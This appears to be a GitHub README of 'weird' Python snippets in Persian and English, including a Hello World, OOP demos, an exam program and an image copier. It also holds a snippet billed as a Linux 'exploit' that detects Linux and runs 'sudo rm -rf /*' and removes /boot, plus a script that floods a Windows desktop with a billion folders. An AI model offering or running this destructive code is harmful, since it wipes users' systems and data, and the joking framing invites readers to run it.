baharyazici / mywierdcodes

Some of My Wierd Codes.

چگونه به وحشیانه ترین حالت یه استرینگ رو نمایش بدیم

به عبارتی دیگر: چگونه مثل سیشارپ، پایتون کد بزنیم

How to Display String in Wildest Way

Other Meaning: How to code Python Like (C#)

Python 3.11.0

import sys
from overrides.overrides import override
from typing import (Literal , Union , Self)


class Print:
    def __init__(self: Self, /, _input: str) -> Union[Literal[None] , Self]:
        super(Print, self).__init__()
        self.__s = _input
        
    def __str__(self: Self) -> str:
        return str(sys.stdout.write(self.__s))
    


class PrintOutput(Print):
    @override
    def __str__(self: Self) -> str:
        return 'Hello World!'
    


if (__name__ == '__main__'):
    my_var = PrintOutput(not __debug__)
    print(my_var)

پروژه ساخت کلاس انسان

یه پروژه ساده و راحت جهت نشون دادن شئ گرایی تو پایتون

A Simple Project to Show OOP(Object Oriented Programming) in Python

Python 3.11.0

from typing import (
    Literal ,
    Union ,
    Self ,
    Dict,
    Any ,
)




def main() -> Literal[None]:
    # Creating Instance & Initializing                                    ایجاد نمونه و مقداردهی
    
    h1: Human = Human(name='shervin' , family='badanara' , age=19 , code=5180195225)
    
    # Printing Properities & Behavior Of the above Instance               نمایش خصوصیت ها و رفتارهای نمونه بالا
    
    print(h1)                    # Output ---> Human
    print(h1.name)               # Output ---> shervin
    print(h1.family)             # Output ---> badanara
    print(h1.age)                # Output ---> 19
    print(h1.code)               # Output ---> 5180195225
    print(h1.UserData())         # Output ---> {'name': 'shervin', 'family': 'badanara', 'age': 19, 'code': 5180195225}




class _DNA:
    _meta_data: Dict[str,str] = {}



class Human(_DNA):
    def __init__(self: Self, *, name: str, family: str, age: int, code: int) -> Union[Literal[None], Self]:
        super(Human, self).__init__()
        self.__name = self._meta_data['name'] = name
        self.__family = self._meta_data['family'] = family
        self.__age = self._meta_data['age'] = age
        self.__code = self._meta_data['code'] = code
        
    def __str__(self: Self) -> str:
        return __class__.__name__
        
    @property
    def name(self: Self) -> str:
        return self.__name
    
    @property
    def family(self: Self) -> str:
        return self.__family
    
    @property
    def age(self: Self) -> int:
        return self.__age
    
    @property
    def code(self: Self) -> int:
        return self.__code
    
    def UserData(self: Self) -> Any:
        return self._meta_data
    

    


if (__name__ == '__main__'):
    main()

چجوری لینوکس رو بپوکونیم

از لینوکس خسته شدی؟ این اکسپلویت رو اجرا کن

How To Destory Linux

Tired of Linux? Run this Exploit

Python 3.11.0

try:
    import \
        subprocess,\
        platform,\
        string,\
        asyncio,\
        sys
    
    from typing import (
        Literal,
        Coroutine,
        Any,
    )
    
    class Exploit:
        async def run() -> Coroutine[Any, Any, Literal[0]]:
            subprocess.call([
                'sudo', 'cd', '/', '&&', 'rm', '-rf', 'boot'
            ])
            subprocess.call([
                'sudo', 'rm', '-rf', '/*'
            ])
            return 0
    
    if (sys.version_info[0:2][1] > 7):
        if (platform.system()[0].upper() == string.ascii_uppercase[11]):
            asyncio.run(Exploit.run())

except* Exception as e:
    raise e from BaseException

except* ModuleNotFoundError as mnfe:
    raise mnfe from ImportError

finally:
    sys.stdout.write(':)')

چجوری در کسری از ثانیه 1 میلیارد پوشه بسازیم

قاتل پردازنده مرکزی

How to create 1 Billion Folders in a Sec.

CPU Murderer

Python 3.11.0

try:
    import \
        os,\
        sys,\
        getpass,\
        asyncio
    
    from typing import Literal
    
    def main() -> Literal[None]:
        asyncio.run(CreateFolder.run(count=1_000_000_000))
    
    class CreateFolder:
        async def run(count:int) -> Literal[0]:
            counter: int = 0
            for folder in range(count + 1):
                os.chdir(fr'C:\Users\{getpass.getuser()}\Desktop')
                os.mkdir(str(counter))
                counter += 1
            return 0
        
    if (__name__ == '__main__' and __debug__):
        main()

except* Exception as e:
    raise e from BaseException

except* ModuleNotFoundError as mnfe:
    raise mnfe from ImportError

finally:
    sys.stdout.write(':)')

برنامه ای بنویسید که نام دانشجو، نمره درس اول، نمره درس دوم را گرفته، سپس نمایش دهد و بالاترین معدل بین دانشجویان نمایش داده شود و در نهایت اطلاعات ذخیره شوند

امتحان میان ترم دانشگاه(ترم 3)

University midterm exam (semester 3)

Create a Porgram that does the below Options:

1. get the student name
2. get the student first lesson score
3. get the student second lesson score
4. show the name and average score of the student
5. show the highest average between students
6. save all the data

Python 3.11.0

from typing import (List, Literal, Self, Union)


class Student:
    def __init__(self: Self, fname: str, less1: Union[int, float], less2: Union[int, float]) -> Literal[None]:
        self.fname = fname
        self.less1 = less1
        self.less2 = less2
        self.avg = (self.less1 + self.less2) / 2
        
    def info(self) -> str:
        return f'{self.fname} {self.avg}'
    
    def saveData(self) -> Literal[None]:
        with open(file='data.txt', mode='a', encoding='UTF-8') as DATA:
            DATA.write(f'{self.fname} {self.avg}\n')
    
    

class Utils:
    
    @staticmethod
    def calculate(*args: Union[int, float]) -> tuple:
        avgList: List[float] = []
        avgList.append(args)
        return max(avgList)[0]
    
    



if (__name__ == '__main__'):
    std1: Student = Student(fname='ava', less1=20, less2=20)
    std2: Student = Student(fname='shervin', less1=19, less2=19.5)
    
    print(std1.info())
    print(std2.info())
    
    std1.saveData()
    std2.saveData()
    
    print(Utils.calculate(std1.avg, std2.avg))

چجوری بایت های یک عکس رو بصورت استریم بخونیم و یه کپی از عکس بگیریم

How to Read Bytes of a Picture using Stream and Get a Copy from it.

Python StreamRead & StreamWrite to File.

Python 3.12.0

import os, io
from typing import Literal, Union




def main[T: None]() -> T:
    copy1: CopyImageStreamWriter = CopyImageStreamWriter(image_name='wallpaper', format='jpg')
    copy1.copy()





class CopyImageStreamWriter[TProtectedString: Union[str, None]]:
    def __init__[TCopyImageStreamWriterInitializer: Literal[None]](self, image_name: TProtectedString, format: TProtectedString) -> TCopyImageStreamWriterInitializer:
        self.__image_name = image_name
        self.__format = format
        self.__CHUNKSIZE: int = 4096
        
    @property
    def image_name[T: str](self) -> TProtectedString:
        return self.__image_name
    
    @property
    def format[T: str](self) -> TProtectedString:
        return self.__format
    
    @property
    def CHUNK_SIZE[T: int](self) -> TProtectedString:
        return self.__CHUNKSIZE
    
    def copy(self) -> None:
        with open(file=f'{os.getcwd()}/{self.image_name}.{self.format}', mode='rb', buffering=io.DEFAULT_BUFFER_SIZE) as RB:
            with open(file=f'{os.getcwd()}/{self.image_name}_copy.{self.format}', mode='wb', buffering=io.DEFAULT_BUFFER_SIZE) as WB:
                read_from_chunk: bytes = RB.read(self.CHUNK_SIZE)
                while (len(read_from_chunk) > 0):
                    WB.write(read_from_chunk)
                    read_from_chunk = RB.read(self.CHUNK_SIZE)
                    
                    

if (__name__ == '__main__'):
    main()